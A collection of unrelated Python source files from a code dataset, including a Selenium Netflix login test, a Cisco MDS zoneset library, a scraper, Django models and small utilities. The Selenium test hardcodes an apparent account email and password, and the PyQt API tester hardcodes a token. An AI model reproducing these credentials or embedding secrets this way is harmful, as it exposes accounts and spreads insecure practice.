Tkinter.Label(window, text=\"Welcome to the Lottery numbers generator.\")\ngreeting.pack()\ngreeting = Tkinter.Label(window, text=\"Please enter how many random numbers would you like to have? \")\ngreeting.pack()\n\n#Eingabe\nnumber = Tkinter.Entry(window)\nnumber.pack()\n\n#definition\ndef lottery():\n\n rand = []\n lott = random.sample(range(0, 45), int(number.get()))\n\n #Ausgabe der Zahlen\n tkMessageBox.showinfo(\"Zahlen\", lott)\n\n#Submit Button\nsubmit = Tkinter.Button(window, text = \"Lottery Number Calculator\", command=lottery)\nsubmit.pack()\n\nwindow.mainloop()","sub_path":"lottery.py","file_name":"lottery.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"20031101","text":"from selenium import webdriver\nfrom select import select\nfrom selenium.webdriver.support.ui import Select\nimport unittest\nimport time\n#from selenium.webdriver.common.by import By\n#from selenium.webdriver.common.keys import Keys\n\n\nclass Submit(unittest.TestCase):\n \n app_under_test = \"https://www.netflix.com/in/\"\n titleList = []\n\n # test setup\n def setUp(self):\n self.driver = webdriver.Chrome(executable_path=\"C://Selenium Web Driver//Chrome//chromedriver.exe\")\n\n # implicit wait\n self.driver.implicitly_wait(10)\n self.driver.get(self.app_under_test)\n \n # title of the page\n print(self.driver.title)\n \n # maximize\n self.driver.maximize_window()\n \n # take screenshot\n self.driver.get_screenshot_as_file(\"C://Users//pmanda1x//Desktop//MP//init.png\")\n \n \n # test action\n \n def testName(self):\n\n self.driver.find_element_by_link_text(\"Sign In\").click()\n try:\n self.driver.find_element_by_id(\"id_userLoginId\").send_keys('wooedotin112@gmail.com')\n except Exception as e:\n print(\"Exception:\",e)\n self.driver.find_element_by_id(\"id_password\").send_keys(\"netflix002\")\n time.sleep(5)\n self.driver.find_element_by_xpath(\"//*[@id='appMountPoint']/div/div[3]/div/div/div[1]/form/button\").click()\n time.sleep(5)\n \n self.driver.find_element_by_xpath(\"//*[@id='appMountPoint']/div/div/div[1]/div[1]/div[2]/div/div/ul/li[3]/div/a/div/div\").click()\n time.sleep(5)\n\n # working with table\n #self.driver.get(\"https://www.geeksforgeeks.org/difference-between-ram-and-rom/\")\n self.driver.get(\"https://chercher.tech/practice/table\")\n table = self.driver.find_element_by_xpath(\"//*[@id='webtable']\")\n rows= table.find_elements_by_tag_name(\"tr\")\n time.sleep(3)\n length = len(rows)\n #print(\"Rows=\",length)\n \n for i in range(0,length): \n columns = rows[i].find_elements_by_tag_name(\"td\")\n #print(\"i=\" , i)\n #print(\"Row text:\",rows[i].text)\n #print(\"Columns=\", len(columns)) \n \n if (i==0):\n txt = rows[i].text\n print(txt)\n self.titleList = list(txt.split(\" \"))\n #print(\"titleList length:\",len(self.titleList))\n\n for j in range(0,len(columns)):\n #print(\"j=\" , j)\n #print(len(self.titleList))\n print(self.titleList[j] + \":\" + columns[j].text)\n \n \n print(\"Number of Rows in Table\",length-1)\n # assertion check\n self.assertEqual(length-1,4)\n # test tear down\n def tearDown(self):\n self.driver.quit()\n\nif __name__ == \"__main__\":\n unittest.main()\n\n'''\ndriver.refresh()\ndriver.forward()\n\ndriver.get(\"https://www.google.com\")\ndriver.refresh()\nwindows = driver.window_handles\nprint(str(len(windows)) + \",\" + driver.current_url)\n\n\ndriver.back()\n\nwindows = driver.window_handles\nprint(str(len(windows)) + \",\" + driver.current_url)\n\n\n#---------------------------------------------\ndriver.refresh()\n#driver.forward()\n# Click on sign in\ndriver.find_element_by_link_text(\"Sign In\").click()\ndriver.find_element_by_id(\"id_userLoginId\").send_keys('wooedotin112@gmail.com')\ndriver.find_element_by_id(\"id_password\").send_keys(\"netflix002\")\ndriver.find_element_by_xpath(\"//*[@id=appMountPoint']/div/div[3]/div/div/div[1]/form/button\").click()\n#*[@id=\"appMountPoint\"]/div/div[3]/div/div/div[1]/form/button\nprint(driver.title)\nprint(driver.current_url)\ndriver.get_screenshot_as_file(\"C://Users//pmanda1x//Desktop//MP//netflix.png\")\n#print(screenshotBinaryData)\ndriver.get(\"http://www.google.com\")\n#Get Page Source Property\npageProperty=driver.page_source\nif \"google\" in pageProperty:\n print(\"Found\")\nelse:\n print(\"Not found\")\n#print(pageProperty)\ndriver.get_screenshot_as_file(\"google.png\")\ndriver.back()\n#driver.quit()\ndriver.close()\n\n\n\ntoMmt = driver.find_element_by_id(\"FromCity\")\ndroptoMmt = Select(toMmt)\ndroptoMmt.select_by_value(\"Bangalore, India\")\n\ndriver.find_element_by_name(\"Search\").click()\n\n\n'''\n\n\n\n\n","sub_path":"firstWebDriverProgram.py","file_name":"firstWebDriverProgram.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"497277874","text":"import logging\n\nimport time\n\nfrom .connection_manager.errors import CLIError, CustomException\nfrom .nxapikeys import zonekeys\nfrom .utility.utils import get_key\nfrom .zone import Zone, VsanNotPresent\n\nlog = logging.getLogger(__name__)\n\n\nclass ZoneNotPresent(CustomException):\n pass\n\n\nclass ZoneSet(object):\n \"\"\"\n Zoneset module\n\n :param switch: switch object on which zoneset operations needs to be executed\n :type switch: Switch\n :param vsan: vsan object on which zoneset operations needs to be executed\n :type vsan: Vsan\n :param name: zoneset name with which zoneset operations needs to be executed\n :type name: str\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> switch_obj = Switch(ip_address = switch_ip, username = switch_username, password = switch_password)\n >>> vsan_obj = Vsan(switch = switch_obj, id = 2)\n >>> vsan_obj.create()\n >>> zonesetObj = ZoneSet(switch_obj,vsan_obj,\"zoneset_fab_A\")\n >>>\n \"\"\"\n\n def __init__(self, switch, vsan_obj, name):\n self.__swobj = switch\n self._SW_VER = switch._SW_VER\n self._vsanobj = vsan_obj\n self._vsan = self._vsanobj.id\n if self._vsan is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n self._name = name\n # Create a dummy zone obj to send zoneset cmds, DO NOT use 'create' method with it!!\n log.debug(\"Creating a dummy zone object for the zoneset with name \" + self._name)\n self.__zoneObj = Zone(self.__swobj, self._vsanobj, name=None)\n\n @property\n def name(self):\n \"\"\"\n Get zoneset name\n\n :return: name: Zoneset name\n :rtype: str\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> zonesetObj = ZoneSet(switch_obj,vsan_obj,\"zoneset_fab_A\")\n >>> zonesetObj.create()\n >>> print(zonesetObj.name)\n zoneset_fab_A\n >>>\n \"\"\"\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n out = self.__show_zoneset_name()\n if out:\n out = out.get('TABLE_zoneset').get('ROW_zoneset')\n return out[get_key(zonekeys.NAME, self._SW_VER)]\n return None\n\n @property\n def vsan(self):\n \"\"\"\n Get vsan object for the zoneset\n\n :return: vsan: vsan of the zoneset\n :rtype: Vsan\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> vsan_obj = Vsan(switch = switch_obj, id = 2)\n >>> vsan_obj.create()\n >>> zonesetObj = ZoneSet(switch_obj,vsan_obj,\"zoneset_fab_A\")\n >>> vobj = zonesetObj.vsan\n >>> print(vobj)\n \n >>> print(vobj.id)\n 2\n >>>\n\n \"\"\"\n if self.name is not None:\n return self._vsanobj\n return None\n\n @property\n def members(self):\n \"\"\"\n Get members of the zoneset\n\n :return: members: members of the zoneset\n :rtype: dict(zone_name: Zone)\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> print(zonesetObj.members)\n {'zonetemp': , 'zonetemp_int': }\n >>>\n\n \"\"\"\n retlist = {}\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n out = self.__show_zoneset_name()\n if out:\n zonesetdata = out.get('TABLE_zoneset', None).get('ROW_zoneset', None)\n if zonesetdata is not None:\n zonedata = zonesetdata.get('TABLE_zone', None)\n if zonedata is not None:\n zdb = zonedata.get('ROW_zone', None)\n if type(zdb) is dict:\n zname = zdb[get_key(zonekeys.NAME, self._SW_VER)]\n retlist[zname] = Zone(self.__swobj, self._vsanobj, zname)\n else:\n for eachzdb in zdb:\n zname = eachzdb[get_key(zonekeys.NAME, self._SW_VER)]\n retlist[zname] = Zone(self.__swobj, self._vsanobj, eachzdb)\n return retlist\n return None\n\n def create(self):\n \"\"\"\n Create zoneset\n\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> zonesetObj = ZoneSet(switch_obj,vsan_obj,\"zoneset_fab_A\")\n >>> zonesetObj.create()\n >>>\n \"\"\"\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n cmd = \"zoneset name \" + self._name + \" vsan \" + str(self._vsan)\n self.__zoneObj._send_zone_cmd(cmd)\n\n def delete(self):\n \"\"\"\n Delete zoneset\n\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> zonesetObj = ZoneSet(switch_obj,vsan_obj,\"zoneset_fab_A\")\n >>> zonesetObj.delete()\n >>>\n \"\"\"\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n cmd = \"no zoneset name \" + self._name + \" vsan \" + str(self._vsan)\n self.__zoneObj._send_zone_cmd(cmd)\n\n def add_members(self, members):\n \"\"\"\n Add members i.e zones to the zoneset\n\n :param members: list of Zone members that need to be added to zoneset\n :type members: list(Zone)\n :return: None\n :raises ZoneNotPresent: If zone is not present in the switch\n\n :example:\n >>>\n >>> z1 = Zone(sw, v, \"zonetemp\")\n >>> z2 = Zone(sw, v, \"zonetemp_int\")\n >>> z1.create()\n >>> z2.create()\n >>> zs = ZoneSet(switch=sw, vsan_obj=v, name=\"scriptZoneset\")\n >>> zs.create()\n >>> zs.add_members([z1,z2])\n >>>\n \"\"\"\n self.__add_remove_members(members)\n\n def remove_members(self, members):\n \"\"\"\n Remove members i.e zones from the zoneset\n\n :param members: list of Zone members that need to be removed from the zoneset\n :type members: list(Zone)\n :return: None\n :raises ZoneNotPresent: If zone is not present in the switch\n\n :example:\n >>>\n >>> zs.remove_members([z1,z2])\n >>>\n \"\"\"\n self.__add_remove_members(members, remove=True)\n\n def activate(self, action=True):\n \"\"\"\n Activate or deactivate a zoneset\n\n :param action: activate zoneset if set to True, else deactivate the zoneset\n :type action: bool (deafult: True)\n :return: None\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> # Activate the zoneset\n >>> zs.activate()\n >>> # Deactivate the zoneset\n >>> zs.activate(False)\n >>>\n \"\"\"\n time.sleep(1)\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n if self.name is not None:\n if action:\n cmd = \"terminal dont-ask ; zoneset activate name \" + self._name + \" vsan \" + str(\n self._vsan) + \" ; no terminal dont-ask\"\n else:\n cmd = \"terminal dont-ask ; no zoneset activate name \" + self._name + \" vsan \" + str(\n self._vsan) + \" ; no terminal dont-ask\"\n try:\n self.__zoneObj._send_zone_cmd(cmd)\n except CLIError as c:\n if \"Fabric unstable\" in c.message:\n log.error(\"Fabric is currently unstable, executing activation after few secs\")\n time.sleep(5)\n self.__zoneObj._send_zone_cmd(cmd)\n\n def is_active(self):\n \"\"\"\n Check if the zoneset is active or not\n\n :return: True if zoneset is active, False otherwise\n :rtype: bool\n :raises VsanNotPresent: if vsan is not present on the switch\n :example:\n >>>\n >>> zs.is_active()\n True\n >>>\n \"\"\"\n if self._vsanobj.id is None:\n raise VsanNotPresent(\"Vsan \" + str(self._vsanobj._id) + \" is not present on the switch.\")\n cmd = \"show zoneset active vsan \" + str(self._vsan)\n out = self.__swobj.show(cmd)\n log.debug(out)\n if out:\n azsdetails = out['TABLE_zoneset']['ROW_zoneset']\n azs = azsdetails[get_key(zonekeys.NAME, self._SW_VER)]\n if azs == self._name:\n return True\n return False\n\n def __add_remove_members(self, members, remove=False):\n cmdlist = []\n cmdlist.append(\"zoneset name \" + self._name + \" vsan \" + str(self._vsan))\n for eachmem in members:\n name_of_zone = eachmem.name\n if name_of_zone is None:\n self.__zoneObj._clear_lock_if_enhanced()\n raise ZoneNotPresent(\n \"The given zoneset member '\" + eachmem._name + \"' is not present in the switch. Please create the zone first.\")\n else:\n if remove:\n cmd = \"no member \" + name_of_zone\n else:\n cmd = \"member \" + name_of_zone\n cmdlist.append(cmd)\n cmds_to_send = \" ; \".join(cmdlist)\n out = self.__zoneObj._send_zone_cmd(cmds_to_send)\n\n def __show_zoneset_name(self):\n log.debug(\"Executing the cmd show zone name <> vsan <> \")\n cmd = \"show zoneset name \" + self._name + \" vsan \" + str(self._vsan)\n out = self.__swobj.show(cmd)\n log.debug(out)\n # print(out)\n return out\n","sub_path":"mdslib/zoneset.py","file_name":"zoneset.py","file_ext":"py","file_size_in_byte":10209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"155729745","text":"# -*- coding: utf-8 -*-\nfrom bs4 import BeautifulSoup\nimport requests\nimport helper\n\ndef scrape(url):\n rawPage = requests.get(url)\n data = rawPage.text\n soup = BeautifulSoup(data)\n\n for line in soup.find_all(\"div\", {\"class\": \"txt-container\"}):\n title = line.find(\"div\", {\"class\": \"title\"}).text.strip()\n link = line.parent.get(\"href\")\n\n recipePage = requests.get(\"http://www.allthecooks.com\" + link)\n onionSoup = BeautifulSoup(recipePage.text)\n\n rating = onionSoup.find(\"span\", {\"itemprop\": \"ratingValue\"})\n numRatings = onionSoup.find(\"span\", {\"itemprop\": \"reviewCount\"})\n\n if rating != None:\n rating = rating.text\n else:\n rating = 0\n\n if numRatings != None:\n numRatings = numRatings.text\n else:\n numRatings = 0\n \n\n ingredients = []\n \n for ingredient in line.find_all(\"div\", {\"class\": \"ingredient\"}):\n ingredName = ingredient.text.replace(\"\\n\", \"\").replace(u\"·\", \"\").replace(u\"½\", \"1/2\").replace(u\"¾\", \"3/4\").replace(u\"¼\", \"1/4\").replace(u\"⅓\", \"1/3\")\n ingredients.append(ingredName)\n\n helper.store(recipeName=title, rating=rating, numRatings=numRatings, source=url, ingredients=ingredients)\n \n","sub_path":"Scrape/AllTheCooks.py","file_name":"AllTheCooks.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"404867918","text":"from django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom django.contrib.postgres import fields as pgfields\nfrom django.contrib.auth.models import User\n\n# about user\n# https://docs.djangoproject.com/en/1.11/topics/auth/customizing/#using-a-custom-user-model-when-starting-a-project\n# https://simpleisbetterthancomplex.com/tutorial/2017/02/18/how-to-create-user-sign-up-view.html\n\n\nclass AppSettings:\n \"\"\"Settings for whole applicaion\"\"\"\n\n LANGS = {\n 'ru': 'Русский',\n 'en': 'English'\n }\n\n SET_TYPES = {\n 'by_stop': _('By finish'),\n 'by_start': _('By start')\n }\n\n @staticmethod\n def get():\n return dict(\n min_weight=Set.MIN_WEIGHT,\n max_weight=Set.MAX_WEIGHT,\n min_reps=Set.MIN_REPS,\n max_reps=Set.MAX_REPS,\n langs=AppSettings.LANGS,\n set_types=AppSettings.SET_TYPES\n )\n\nclass UserSettings:\n \"\"\"User settings are stored in profile\"\"\"\n\n # https://docs.djangoproject.com/en/2.0/ref/contrib/postgres/fields/#django.contrib.postgres.fields.JSONField\n # default must be callable\n @staticmethod\n def default():\n return dict(\n lang='ru',\n set_type='by_stop',\n set_weight=20,\n set_reps=10\n )\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n email_confirmed = models.BooleanField(default=False)\n settings = pgfields.JSONField(default=UserSettings.default)\n\n\n# todo: investigate\n# http://www.django-rest-framework.org/api-guide/serializers/#handling-saving-related-instances-in-model-manager-classes\n@receiver(post_save, sender=User)\ndef update_user_profile(sender, instance, created, **kwargs):\n if created:\n Profile.objects.create(user=instance)\n instance.profile.save()\n\n\nclass TrainingName(models.Model):\n \"\"\"Название тренировки, общий, дополняемый список, для всех\"\"\"\n text = models.CharField(_('name'), max_length=250, unique=True)\n\n\nclass Training(models.Model):\n \"\"\"Тренировка\"\"\"\n\n STARTED = 'st'\n FINISHED = 'fn'\n\n STATUSES = (\n (STARTED, _('Started')),\n (FINISHED, _('Finished'))\n )\n\n date = models.DateTimeField(_('date'), default=timezone.now)\n\n status = models.CharField(\n max_length=2,\n choices=STATUSES,\n default=STARTED\n )\n\n name = models.ForeignKey(\n TrainingName,\n on_delete=models.PROTECT,\n verbose_name=_('name')\n )\n\n user = models.ForeignKey(\n User,\n on_delete=models.PROTECT,\n related_name='trainings',\n verbose_name=_('user')\n )\n\n def __str__(self):\n return self.name\n\n\nclass Set(models.Model):\n \"\"\"Подходы (вес, повторения, время)\"\"\"\n\n MIN_WEIGHT = 1\n MAX_WEIGHT = 600\n MIN_REPS = 1\n MAX_REPS = 999\n\n weight = models.PositiveIntegerField(_('weight'))\n reps = models.PositiveIntegerField(_('repetitions'))\n\n started_at = models.DateTimeField(_('started at'), null=True)\n \"\"\"Start time of set, value - if set is started manually, null if set is filled by end fact\"\"\"\n\n # todo: validate no less than started (? and training date)\n stopped_at = models.DateTimeField(_('stopped at'), default=timezone.now)\n \"\"\"Stop time of set\"\"\"\n\n training = models.ForeignKey(\n Training,\n on_delete=models.CASCADE,\n related_name='sets',\n verbose_name=_('training')\n )\n\n def __str__(self):\n return '{} x{}'.format(self.weight, self.reps)\n","sub_path":"wglog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"519104602","text":"from pyexcel_ods import get_data\n\ndef getManualResultsKconfig():\n data = get_data(\"results-manual.ods\")\n allHashs = []\n for i in range(1,len(data['FM'])-1):\n if(len(data['FM'][i]) > 0):\n allHashs.append(data['FM'][i][0])\n return allHashs\n\ndef getMakeFileResultsManual():\n arq = open('mf-manual.csv', 'r')\n commits = []\n for line in arq:\n commits.append(line.split(',')[0])\n return commits\n\ndef getAMFileResultsManual():\n data = get_data(\"results-manual.ods\")\n allHashs = []\n for i in range(1,len(data['AM'])-1):\n if(len(data['AM'][i]) > 0):\n allHashs.append(data['AM'][i][0])\n return allHashs","sub_path":"manualcommits.py","file_name":"manualcommits.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"429564835","text":"from fpdf import FPDF\nimport os, sys\nimport PIL\nfrom PIL import Image\nimport glob\nimport os\nfrom os import path\n\ndef i_proof(isbn, media_path):\n image_directory=media_path+\"/art/upload/\"+isbn\n \n if path.exists(image_directory):\n images = 'resized'\n basewidth = 400\n margin = 10\n imagelist=[]\n location=''\n outfile=''\n imagePath=''\n\n # out = 'resized'\n for dirName, subdirList, fileList in os.walk(image_directory):\n for fname in fileList:\n LowerCaseFileName = fname.lower()\n if LowerCaseFileName.endswith(\".jpg\") or LowerCaseFileName.endswith(\".eps\") or LowerCaseFileName.endswith(\".gif\") or LowerCaseFileName.endswith(\".png\") or LowerCaseFileName.endswith(\".tif\") or LowerCaseFileName.endswith(\".tiff\") or LowerCaseFileName.endswith(\".jpeg\"):\n imagelist.append(dirName+\"/\"+fname)\n imagelist1=[]\n for infile in imagelist:\n im = Image.open(os.path.join(image_directory,infile))\n wpercent = (basewidth / float(im.size[0]))\n hsize = int((float(im.size[1]) * float(wpercent)))\n im = im.resize((basewidth, hsize), PIL.Image.ANTIALIAS)\n location = os.path.dirname(infile)\n if not(os.path.exists(os.path.join(location,images))):\n os.mkdir(os.path.join(location,images))\n outfile = os.path.join(location,images,os.path.splitext(os.path.basename(infile))[0]+\".png\")\n imagelist1.append(outfile)\n out = im.convert(\"RGB\")\n out.save(outfile, \"PNG\")\n\n margin = 30 \n pdf = FPDF('P','mm','A4')\n x,y,w,h = 40,40,200,250\n \n for imagePath in imagelist1:\n pdf.add_page()\n pdf.image(imagePath,10,margin)\n pdf.set_font('Arial', 'B', 12)\n caption=os.path.splitext(os.path.basename(imagePath))[0]\n pdf.cell(10,10, txt=caption)\n os.unlink(imagePath)\n\n pdf.output(image_directory+\"/\"+isbn+\"_art_proof.pdf\",\"F\")\n\n for dirName, subdirList, fileList in os.walk(image_directory):\n if images in dirName:\n os.rmdir(dirName)\n return \"Art proofs generated succesfully! Path: art/upload/{}/{}_art_proof.pdf\".format(isbn,isbn)\n else:\n return \"Images are not available for ISBN {} inside art/upload folder.\".format(isbn)\n\nif __name__ == '__main__':\n try:\n arg = sys.argv[2]\n except IndexError:\n arg = None\n return_val = i_proof(arg)\n","sub_path":"permissions/art_proof.py","file_name":"art_proof.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"304751485","text":"import numpy as np\nfrom prml.tensor.tensor import Tensor\nfrom prml.function.function import Function\n\n\nclass SigmoidCrossEntropy(Function):\n \"\"\"\n sum of cross entropies for binary data\n logistic sigmoid\n y_i = 1 / (1 + exp(-x_i))\n cross_entropy_i = -t_i * log(y_i) - (1 - t_i) * log(1 - y_i)\n\n Parameters\n ----------\n x : ndarary\n input logit\n y : ndarray\n corresponding target binaries\n \"\"\"\n\n def _check_input(self, x, t):\n x = self._convert2tensor(x)\n t = self._convert2tensor(t)\n if x.shape != t.shape:\n raise ValueError(\n \"shapes {} and {} not aligned\"\n .format(x.shape, t.shape)\n )\n return x, t\n\n\n def _forward(self, x, t):\n x, t = self._check_input(x, t)\n self.x = x\n self.t = t\n # y = self.forward(x)\n # np.clip(y, 1e-10, 1 - 1e-10, out=y)\n # return np.sum(-t * np.log(y) - (1 - t) * np.log(1 - y))\n loss = np.sum(\n np.maximum(x.value, 0)\n - t.value * x.value\n + np.log1p(np.exp(-np.abs(x.value)))\n )\n return Tensor(loss, function=self)\n\n def _backward(self, delta):\n y = np.tanh(self.x.value * 0.5) * 0.5 + 0.5\n dx = delta * (y - self.t.value)\n dt = - delta * self.x.value\n self.x.backward(dx)\n self.t.backward(dt)\n\n\ndef sigmoid_cross_entropy(logit, label):\n \"\"\"\n sum of cross entropies for binary data\n \"\"\"\n return SigmoidCrossEntropy().forward(logit, label)\n","sub_path":"prml/nn/function/sigmoid_cross_entropy.py","file_name":"sigmoid_cross_entropy.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"333867713","text":"#审一下题发现就是随机数问题,从a-Z,0-9里边调几位数就行,挑选完之后拼接还可以给字符串来一个随机\r\nimport random\r\ndef random_me():\r\n #定义一个数组存放得到的数据\r\n list_me = []\r\n num = random.randint(1,9)\r\n list_me.append(str(num))\r\n #这里大写利用ascii码 randint(a,b) x>=a && x<=b 那个人写的取不到b我晕\r\n char_a = random.randint(65,90)\r\n list_me.append(chr(char_a))\r\n #这里小写\r\n char_A = random.randint(97,122)\r\n list_me.append(chr(char_A))\r\n #拼接数组内字符串 random.sample(数组,从数组中抽取的数)\r\n get_me = ''.join(random.sample(list_me,3))\r\n return(get_me)\r\nrandom_me()","sub_path":"Payload/lesson2.py","file_name":"lesson2.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"217467149","text":"import datetime\nimport time\nfrom functools import wraps\n\n# This decorator fucntions working time in a given file\n\ndef my_decorator(file_name) -> callable:\n\tdef decorator(func: callable) -> callable:\n\t\t@wraps(func)\n\t\tdef decor(*args, **kwargs):\n\t\t\tprint(datetime.datetime.now())\n\t\t\texecution_time = datetime.datetime.now()\n\t\t\tresult = func(*args, **kwargs)\n\t\t\tprint(f\"Time taken: {(datetime.datetime.now() - execution_time).seconds} seconds\")\n\t\t\twith open(file_name, 'a') as file:\n\t\t\t\tfile.write(f\"Execution time: {(execution_time.strftime('%m/%d/%Y, %H:%M:%S'))}\\n\")\n\t\t\t\tif result is not None:\n\t\t\t\t\tfile.write(f\"{str(result)}\\n\")\n\t\t\t\telse:\n\t\t\t\t\tfile.write('None\\n')\n\t\t\t\tfile.write(f\"Time taken: {(datetime.datetime.now() - execution_time).seconds} seconds\\n\")\n\t\t\tprint(\"Inside decor fucntion\")\n\t\t\treturn result\n\t\treturn decor\n\treturn decorator\t\n\nfile_name = 'test10.txt'\n\n@my_decorator(file_name)\n\n# some functions\n\ndef some_function(some_arguments):\n\t# some code\n\tfor i in range(222222):\n\t\tprint(i)\t\t\n\treturn some_arguments\n\na = some_function(222)\nprint(some_function.__name__)\nprint(a)\n\n","sub_path":"1.02/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"93375716","text":"def addition (a, b):\n res = a + b\n return res\n\ndef subtraction (a, b):\n res = a - b\n return res\n \ndef multiplication (a, b):\n res = a * b\n return res\n \ndef division (a, b):\n res = a / b\n return res\n\nwhile True:\n print('1) Addition\\n2) Subtraction\\n3) Multiplication\\n4) Division\\n0) Exit')\n \n opt = int(input('Enter opt: '))\n if opt == 0:\n print('Bye Bye')\n break\n \n if opt > 4 or opt < 0:\n print('Enter correct option!')\n continue\n op1 = int(input('Enter operand 1: '))\n op2 = int(input('Enter operand 2: '))\n result = 0\n if opt == 1:\n result = addition(op1, op2)\n elif opt == 2:\n result = subtraction(op1, op2)\n elif opt == 3:\n result = multiplication(op1, op2)\n elif opt == 4:\n result = division(op1, op2)\n\n print('Result:', result)","sub_path":"CalculatorDemo.py","file_name":"CalculatorDemo.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"184054419","text":"#! /usr/bin/env python\nif __name__ == \"__main__\":\n\n import sys\n import time\n import pigpio\n import _433\n\n RX=3\n TX=4\n\n # define optional callback for received codes.\n\n def rx_callback(code, bits, gap, t0, t1):\n output = \"{0:b}\".format(code)\n print(\"code={} bits={})\".\n format(code, output))\n\n pi = pigpio.pi() # Connect to local Pi.\n\n rx=_433.rx(pi, gpio=RX, callback=rx_callback)\n try:\n args = len(sys.argv)\n\n if args > 1:\n\n # If the script has arguments they are assumed to codes\n # to be transmitted.\n\n tx=_433.tx(pi, gpio=TX)\n\n for i in range(args-1):\n print(\"sending {}\".format(sys.argv[i+1]))\n tx.send(int(sys.argv[i+1]))\n time.sleep(1)\n\n tx.cancel() # Cancel the transmitter.\n\n time.sleep(60)\n finally:\n rx.cancel() # Cancel the receiver.\n\n pi.stop() # Disconnect from local Pi.\n","sub_path":"remote/rf_controller.py","file_name":"rf_controller.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"22073574","text":"import sys,requests,sip,json\n# sys.path.append('D:\\PycharmProjects\\Py\\FMStest\\test')\nfrom UI import Ui_MianWIndow\ntry:\n from .UI import Ui_MianWIndow\nexcept:\n print()\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import QtWidgets,QtCore,QtGui\nimport pandas as pd\n\nhost = 'http://192.168.83.200:8088'\nheaders = '{\"token\":\"ZGV2LDE1NjgxNjgzOTM1NDEsZWFmOTU1MTRkYTQyM2Y2MTE3OTRkYjg5MTUzMmFiNDY=\"}'\nclass Show(QMainWindow,Ui_MianWIndow):\n def __init__(self):\n super(Show, self).__init__()\n self.setWindowIcon(QtGui.QIcon('./fms.png'))\n # self.body_edit = QtWidgets.QTextEdit()\n # self.body_edit.setPlaceholderText('输入Body')\n # self.query_edit = QtWidgets.QTextEdit()\n # self.query_edit.setPlaceholderText('输入Query')\n # self.header_edit = QtWidgets.QTextEdit()\n # self.header_edit.setPlaceholderText('输入Header')\n self.body_edit = QtWidgets.QPlainTextEdit()\n self.body_edit.setPlaceholderText('输入Body')\n self.query_edit = QtWidgets.QPlainTextEdit()\n self.query_edit.setPlaceholderText('输入Query')\n self.header_edit = QtWidgets.QPlainTextEdit()\n self.header_edit.setPlaceholderText('输入Header')\n\n self.setupUi(self)\n self.setWindowTitle('FMS apitest')\n self.pushButton_in.clicked.connect(self.ImportExcel)\n self.comboBox_way.activated.connect(self.ChoicePath)\n self.pushButton_request.clicked.connect(self.Request)\n self.pushButton_requestall.clicked.connect(self.RequestAll)\n self.pushButton_clear.clicked.connect(self.Clear)\n self.checkBox_body.stateChanged.connect(self.Body)\n self.checkBox_query.stateChanged.connect(self.Query)\n self.checkBox_header.stateChanged.connect(self.Header)\n self.pushButton_save.clicked.connect(self.Save)\n self.pushButton_saveAll.clicked.connect(self.SaveAll)\n self.pushButton_export.clicked.connect(self.Export)\n\n def Save(self):\n print('a')\n self.excelchange = pd.read_excel(self.filename)\n print('b')\n print(self.excelchange)\n # print(self.lineEdit_path.text(),self.header_edit.toPlainText(),self.query_edit.toPlainText(),self.body_edit.toPlainText())\n print(type(self.lineEdit_path.text()))\n try:\n self.excelchange['path'][self.comboBox_way.currentIndex()] = self.lineEdit_path.text()\n except Exception as e:\n print(e)\n try:\n self.excelchange['headers'][self.comboBox_way.currentIndex()] = self.header_edit.toPlainText()\n except Exception as e:\n print(e)\n try:\n self.excelchange['params'][self.comboBox_way.currentIndex()] = self.query_edit.toPlainText()\n except Exception as e:\n 